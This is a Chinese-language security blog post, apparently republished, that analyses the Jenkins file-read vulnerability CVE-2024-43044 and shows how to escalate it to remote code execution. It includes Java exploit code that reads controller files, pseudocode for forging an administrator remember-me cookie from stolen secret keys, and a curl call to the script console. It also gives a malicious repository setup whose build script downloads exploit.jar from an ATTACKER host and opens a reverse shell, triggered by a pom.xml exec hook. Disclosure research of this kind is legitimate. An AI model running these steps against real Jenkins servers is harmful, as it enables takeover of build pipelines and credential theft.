1. 简介
Jenkins 是一种广泛使用的工具,用于自动执行构建、测试和部署软件等任务。它是许多组织开发流程的关键部分。如果攻击者获得 Jenkins 服务器的访问权限,他们可以造成严重破坏,例如窃取凭据、篡改代码,甚至破坏部署。通过访问 Jenkins,攻击者可以篡改软件管道,可能导致开发流程混乱并泄露敏感数据。
在这篇博文中,我们将分析 CVE-2024-43044 的公告,这是 Jenkins 中的一个任意文件读取漏洞。我们将演示如何升级此漏洞,以便在我们设法劫持 Jenkins 代理的情况下在 Jenkins 控制器上实现远程代码执行。
2. Jenkins 架构概述
Jenkins 架构基于控制器/代理,其中 Jenkins 控制器是 Jenkins 安装中的原始节点。Jenkins 控制器管理 Jenkins 代理并协调其工作,包括在代理上调度作业和监控代理 [3]。控制器和代理之间的通信可以是入站(以前称为“JNLP”)或 SSH。
使进程间通信成为可能的通信层的实现是在 Remoting/Hudson 库 [4] 中完成的。存储库 [5] 还提供了一些关于 Remoting/Hudson 库如何工作的优秀文档。下图显示了此架构的一些重要组件。
3. 漏洞分析
3.1 通报
Jenkins 团队发布了一份公告 ( SECURITY-3430 / CVE-2024-43044 )[1],指出存在一个任意文件读取漏洞,允许代理从控制器读取文件。这是因为控制器的一个功能允许将 JAR 文件传输给代理。根据公告,问题在于“在控制器上调用的ClassLoaderProxy#fetchJar实现 没有限制代理可以请求从控制器文件系统读取的路径”。
与该漏洞相关的提交中有一个测试[7],其中包含触发该漏洞的代码。
private static class Exploit extends MasterToSlaveCallable<Void, Exception> {
private final URL controllerFilePath;
private final String expectedContent;
public Exploit(URL controllerFilePath, String expectedContent) {
this.controllerFilePath = controllerFilePath;
this.expectedContent = expectedContent;
}
@Override
public Void call() throws Exception {
final ClassLoader ccl = Thread.currentThread().getContextClassLoader();
final Field classLoaderProxyField = ccl.getClass().getDeclaredField("proxy");
classLoaderProxyField.setAccessible(true);
final Object theProxy = classLoaderProxyField.get(ccl);
final Method fetchJarMethod = theProxy.getClass().getDeclaredMethod("fetchJar", URL.class);
fetchJarMethod.setAccessible(true);
final byte[] fetchJarResponse = (byte[]) fetchJarMethod.invoke(theProxy, controllerFilePath);
assertThat(new String(fetchJarResponse, StandardCharsets.UTF_8), is(expectedContent));
return null;
}
}
此代码主要访问hudson.remoting.RemoteClassLoader,它负责通过通道从远程对等端加载类文件。具体来说,它访问RemoteClassLoader的代理字段内的 Proxy 对象。此 Proxy 的处理程序是hudson.remoting.RemoteInvocationHandler 的一个实例。
然后,代码使用此处理程序调用fetchJar方法,该方法触发hudson.remoting.RemoteInvocationHandler.invoke方法。这反过来又准备了对控制器的远程过程调用 (RPC)。在控制器端,调用到达hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJar。如下所示,控制器上的fetchJar方法不验证 URL(由用户控制)并在未经验证的情况下读取资源。
// hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJar
public byte[] fetchJar(URL url) throws IOException {
return Util.readFully(url.openStream());
}
下面的图片有助于直观地了解流程:
该缺陷可以绕过代理 -> 控制器访问控制系统 [13],该系统自 Jenkins v 2.326 起默认启用,以控制代理对控制器的访问,从而防止其被接管。
3.2 补丁
该补丁引入了一个验证器和一些 Java 系统属性来控制fetchJar功能。
Java 系统属性包括:
-
jenkin.security.s2m.JarURLValidatorImpl.REJECT_ALL – 拒绝任何要获取的 JAR
-
hudson.remoting.Channel.DISABLE_JAR_URL_VALIDATOR – 禁用验证
验证器会验证请求的 URL 是否指向允许的 JAR 文件(来自插件或核心的 JAR 文件),如我们在代码片段中看到的那样:
jenkinsci/remoting/src/main/java/hudson/remoting/RemoteClassLoader.java
public byte[] fetchJar(URL url) throws IOException {
final Object o = channel.getProperty(JarURLValidator.class);
if (o == null) {
final boolean disabled = Boolean.getBoolean(Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR");
if (!disabled) {
// No hudson.remoting.JarURLValidator has been set for this channel, so all #fetchJar calls are rejected
}
} else {
if (o instanceof JarURLValidator) {
((JarURLValidator) o).validate(url); // [1] Validate the URL
// ...
}
return readFully(url.openStream());
}
jenkinsci/jenkins/core/src/main/java/jenkins/security/s2m/JarURLValidatorImpl.java
public void validate(URL url) throws IOException {
final String rejectAllProp = JarURLValidatorImpl.class.getName() + ".REJECT_ALL";
if (SystemProperties.getBoolean(rejectAllProp)) {
// "Rejecting URL due to configuration
}
final String allowAllProp = Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR";
if (SystemProperties.getBoolean(allowAllProp)) {
// Allowing URL due to configuration
}
if (!isAllowedJar(url)) { // [2] Check if allowed URL
// DENY - This URL does not point to a jar file allowed to be requested by agents
} else {
// ALLOW
}
}
private static boolean isAllowedJar(URL url) {
final ClassLoader classLoader = Jenkins.get().getPluginManager().uberClassLoader;
if (classLoader instanceof PluginManager.UberClassLoader) {
if (((PluginManager.UberClassLoader) classLoader).isPluginJar(url)) {
// ACCEPT - Determined to be plugin jar
return true;
}
}
final ClassLoader coreClassLoader = Jenkins.class.getClassLoader();
if (coreClassLoader instanceof URLClassLoader) {
if (Set.of(((URLClassLoader) coreClassLoader).getURLs()).contains(url)) {
// ACCEPT - Determined to be core jar
return true;
}
}
// DENY - Neither core nor plugin jar
return false;
}
请查阅咨询以获取更多信息和解决方法。
4. 获取 RCE
4.1 先决条件
在公告中,我们可以看到攻击可以由“代理进程、代理上运行的代码以及具有 Agent/Connect 权限的攻击者” [1] 发起。我们实施的漏洞利用功能十分灵活,既支持入站代理 [15],也支持 SSH 连接。
使用入站代理机密
在此模式下,我们的漏洞利用程序充当启动与控制器连接的自定义代理。要使用它,您将需要以下信息:
-
目标 Jenkins 服务器 URL;
-
Agent name;
-
Agent secret.
获取此信息的一种方法是,一旦您获得代理节点的访问权限,列出所有正在运行的进程。您可能会在命令行中找到包含这些数据的 Java 进程,因为这是 Jenkins 建议在您配置入站代理后连接入站代理的默认方式。
获取此信息的另一种方法是通过凭证泄漏。值得注意的是,您必须在运行我们的代理之前终止正在运行的代理或等待断开连接,因为单个代理无法同时多次连接到 Jenkins 服务器。
以此方式运行漏洞的示例:
java -jar exploit.jar mode_secret http://localhost:8080/ test b55d9b7fede47864572f4d0830a564a83ae78a4f297c1178b7f55601784f645c
附加到正在运行的远程处理进程
在此模式下,我们使用 Java 检测 API [16] 附加到已在运行的 Remoting 进程。我们附加一个将完成漏洞利用的 Java 代理。
当代理/控制器连接通过 SSH 完成时,这尤其有用,因为在此模式下没有代理机密。在控制器中启动的 SSHLauncher 将通过java -jar remoting.jar -workDir WORKDIR -jar-cache WORKDIR/remoting/jarCache 会话执行并重定向其 stdin 和 stdout 以创建与代理通信的通道。
因此,例如,当通过部署在代码存储库中的恶意构建脚本进行攻击时,该代码存储库的构建由 Jenkins 管理(在代理上运行),攻击者将无法检索代理名称/机密,因为这些在此场景中不存在。将有一个 Remoting 进程通过 SSH 上的管道连接到控制器。然后,我们的漏洞利用将找到此进程的 PID,并将 Java 代码注入其中以执行后续步骤。
要使用此模式,您需要提供以下信息:
-
目标 Jenkins 服务器 URL。(可选- 漏洞利用将使用通过 SSH 连接的控制器的 IP,并将 Jenkins URL 形成为http://IP:8080/。在这种情况下,必须在机器上安装pgrep、ps和netstat );
-
要执行的命令。
下图显示了一个攻击示例,其中管道在不受信任的克隆存储库内运行“mvn package”。假设 Jenkins 配置为不通过内置节点在控制器上本地执行构建。这足以危及 Jenkins 控制器:
此设置中的恶意存储库仅需要两个文件:
构建文件
cd /tmp
wget http://ATTACKER/exploit.jar -O /tmp/exploit.jar
java -jar exploit.jar mode_attach 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
pom.xml:
...
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
<executions>
<execution>
<id>run-build-script</id>
<phase>package</phase>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<executable>bash</executable>
<arguments>
<argument>./build.sh</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
...
4.2 读取任意文件
当提供代理密钥/名称时,漏洞会使用它通过 Remoting 库与 Jenkins 服务器建立连接。我们使用 Engine 类并等待连接建立。但是,当连接到现有的连接代理时,我们会跳过这些步骤。
然后我们从其中一个正在运行的线程中获取hudson.remoting.RemoteClassLoader的实例。
public ClassLoader getRemoteClassLoader() {
boolean found = false;
ClassLoader temp = null;
while (!found) {
for (Thread thread : Thread.getAllStackTraces().keySet()) {
temp = thread.getContextClassLoader();
if (temp == null) continue;
String className = temp.getClass().getName();
if (className.equals("hudson.remoting.RemoteClassLoader")) {
found = true;
break;
}
}
try {
Thread.sleep(1000);
} catch(Exception e) {}
}
return temp;
}
我们用它来创建一个处理fetchJar()方法调用的读取器对象。
if (this.ccl == null) this.ccl = this.getRemoteClassLoader();
this.reader = new RemoteFileReader(this.ccl);
有了这个对象,我们可以使用它从服务器加载文件。不需要遍历路径,您可以通过指定文件的完整路径来请求文件,例如:
this.reader.readAsString("file:///etc/passwd");
4.3 伪造有效用户的cookie
该公告 [1] 确认此漏洞可以实现 RCE,并指出了第二份公告 [2],该公告针对 2024 年 1 月发布的另一个文件读取漏洞,其中列举了一些利用 Jenkins 中此类缺陷实现 RCE 的方法。
其中一种方法引起了我们的注意,因为它不需要任何配置更改,也就是说,它可以在默认安装下工作。通过“记住我”cookie技术执行远程代码包括伪造管理员帐户的记住我 cookie,允许攻击者登录应用程序并访问脚本控制台以执行命令。
该技术的要求是:
-
“记住我”功能已启用(默认)。
-
攻击者可以检索二进制秘密。
-
攻击者拥有总体/读取权限,可以读取文件中前几行以外的内容。
该漏洞满足这些要求,因为它可用于读取二进制文件和文件的全部内容。
为了制作有效的 Cookie,需要一些数据。在我们的实现中,我们采用了这种方法:
-
读取$JENKINS_HOME/users/users.xml文件以获取在 Jenkins 服务器上拥有账户的用户列表;
-
读取每个$JENKINS_HOME/users/*.xml文件以提取用户信息,例如:用户名、用户种子、时间戳和密码哈希;
-
读取cookie签名所需的文件:
-
$JENKINS_HOME/secret.key
-
$JENKINS_HOME/secrets/master.key
-
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
一旦我们有了这些数据,我们就复制 Jenkins cookie 签名算法 [8],该算法可以用以下伪代码来描述 [6]:
// Calculate tokenExpiryTime (current server time in milliseconds + 1 hour)
tokenExpiryTime = currentServerTimeInMillis() + 3600000
// Concatenate data to generate token
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
// Obtaining the MAC key by decrypting org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac using master.key as AES128 key
key = toAes128Key(masterKey)
decrypted = AES.decrypt(macFile, key)
// Checking the presence of the "::::MAGIC::::" suffix in the decrypted data (and removing it to obtain the actual MAC key)
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
// Calculating the HmacSHA256 of the token using this MAC key
mac = HmacSHA256(token, macKey)
tokenSignature = bytesToHexString(mac)
// Concatenating username + tokenExpiryTime + tokenSignature and base64 encoding it to generate the cookie
cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)
该 cookie 可以在对 Jenkins Web 应用程序的请求中作为“Cookie:remember-me=VALUE”发送。
4.4 代码执行
一旦我们有了记住我的 cookie,我们就可以在/crumbIssuer/api/json请求 CSRF 令牌(名为Jenkins-Crumb ) 。由于这两个是关联的,因此也要获取响应中收到的JSESSIONID cookie。
之后,我们向/scriptText发送一个 POST 请求,将 Jenkins-Crumb 值作为 header 传递,将 JSESSIONID 值作为 cookie 传递,同时传递 Remember-me cookie。要执行的 Groovy 代码通过名为“script”的 POST 参数传递。
我们的代码会自动完成所有这些操作。代表此最终请求的 curl 命令如下:
curl -X POST "$JENKINS_URL/scriptText"
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID"
--header "Jenkins-Crumb: $CRUMB"
--header "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "script=$SCRIPT"
使用 Groovy 执行命令非常简单,只需执行:
println "uname -a".execute().text
4.5 漏洞摘要
以下是我们利用漏洞的步骤的回顾:
-
获取 hudson.remoting.RemoteClassLoader 的引用;
-
用它创建一个文件读取器;
-
读取必要的文件(总共 3 个)来为给定用户伪造 cookie;
-
读取 Jenkins 用户列表;
-
读取有关每个用户的信息(id、时间戳、种子和哈希值);
-
为用户伪造一个记住我的 cookie,直到我们获得 Jenkins 脚本引擎的访问权限;
-
使用Jenkins脚本引擎执行系统命令;
-
以 John the Ripper [14] 可以破解的格式转储用户名和哈希值。
4.6 演示
下面的 GIF 图像展示了使用入站代理名称/机密对 Jenkins Docker v. 2.441 [9] 进行成功攻击的过程:
值得注意的是,我们仅在 Jenkins Docker 上测试了我们的漏洞,但我们相信它应该可以在其他安装上运行,只需进行很少或根本不需要任何更改。
漏洞代码可在此处找到:
https://github.com/conisolabs/CVE-2024-43044-jenkins
5. 结论
在这篇文章中,我们描述了利用与 CVE-2024-43044 相关的漏洞在易受攻击的 Jenkins 服务器上实现 RCE 的方法。尽管有许多使用 Jenkins 的不同环境没有涉及,但我们精心设计了漏洞利用程序,以便轻松适应其他研究人员的需求。我们还认为,某些部分可能会在其他针对 Jenkins 文件读取漏洞的漏洞利用程序中重复使用。
如果您想评估您的 CI/CD 管道基础设施,Conviso 可以提供帮助。联系我们,我们将为您的团队提供帮助。
6. 参考文献
https://www.jenkins.io/security/advisory/2024-08-07/#SECURITY-3430
https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
https://www.jenkins.io/doc/book/using/using-agents/
https://www.jenkins.io/projects/remoting/
https://github.com/hudson/www/
https://gist.github.com/mtiennnnn/551b7320c064db02aad815c6bdb91d9
https://github.com/jenkinsci/jenkins/blob/203b6a6c851697e83aefc37d1812bfde06390bfe/test/src/test/java/jenkins/security/Security3430Test.java#L244
https://github.com/jenkinsci/jenkins/blob/jenkins-2.470/core/src/main/java/hudson/security/TokenBasedRememberMeServices2.java#L174
https://hub.docker.com/r/jenkins/jenkins
https://www.jenkins.io/doc/book/managing/system-properties/
https://naiwaen.debuggingsoft.com/blog/wp-content/uploads/2022/06/2022-05-28_201016.jpg
https://github.com/advisories/GHSA-h856-ffvv-xvr4
https://www.jenkins.io/doc/book/security/controller-isolation/#agent-controller-access-control
https://www.openwall.com/john/
https://github.com/jenkinsci/remoting/blob/master/docs/inbound-agent.md
https://www.baeldung.com/java-instrumentation
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):CVE-2024-43044 分析 — 通过代理在 Jenkins 中读取文件进行 RCE